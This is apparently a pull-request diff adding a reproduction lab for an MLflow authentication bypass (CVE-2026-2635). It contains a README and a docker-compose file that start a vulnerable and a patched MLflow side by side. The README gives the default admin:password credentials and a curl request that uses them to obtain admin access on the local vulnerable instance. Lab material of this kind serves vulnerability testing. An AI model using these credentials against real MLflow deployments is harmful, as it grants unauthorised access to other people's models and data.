Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
41 changes: 41 additions & 0 deletions mlflow/CVE-2026-2635/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
# MLflow Hard-coded Default Credentials Authentication Bypass (CVE-2026-2635)

A critical authentication bypass vulnerability exists in MLflow (versions prior to 3.8.0) due to hard-coded default credentials in the basic-auth configuration. Unauthenticated remote attackers can leverage these default credentials (admin:password) to gain administrative access to MLflow instances, access sensitive models and datasets, and potentially execute arbitrary code.


## Vulnerable Version
### Setup
Start MLflow version 2.10.0:

```sh
docker compose up -d mlflow-vulnerable
```

### Testing the vulnerability

```sh
curl -i -u admin:password "http://localhost:5000/api/2.0/mlflow/users/get?username=admin"
```
Response:
```sh
{"user":{"experiment_permissions":[],"id":1,"is_admin":true,"registered_model_permissions":[],"username":"admin"}}
```


## Safe Version
### Setup
Start MLflow version 3.8.0 (which removes silent default credentials out-of-the-box):

```sh
docker compose up -d mlflow-patched
```

### Testing the vulnerability

```sh
curl -i -u admin:password "http://localhost:5001/api/2.0/mlflow/users/get?username=admin"
```
Response:
```sh
You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate.
```
25 changes: 25 additions & 0 deletions mlflow/CVE-2026-2635/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
version: '3.8'

services:
# Vulnerable Target (v2.10.0 - Ships with default admin:password)
mlflow-vulnerable:
image: ghcr.io/mlflow/mlflow:v2.10.0
container_name: mlflow_vulnerable
ports:
- "5000:5000"
command: mlflow server --host 0.0.0.0 --port 5000 --app-name basic-auth
restart: unless-stopped

# Patched Target (v3.8.0 - Default credentials removed)
mlflow-patched:
image: ghcr.io/mlflow/mlflow:v3.8.0
container_name: mlflow_patched
ports:
- "5001:5000"
environment:
# Required by MLflow 3.x authentication CSRF middleware
- MLFLOW_FLASK_SERVER_SECRET_KEY=supersecretcsrfkeyforlab2026!
command: >
sh -c "pip install --no-cache-dir flask-wtf &&
exec mlflow server --host 0.0.0.0 --port 5000 --app-name basic-auth --backend-store-uri sqlite:///mlflow.db"
restart: unless-stopped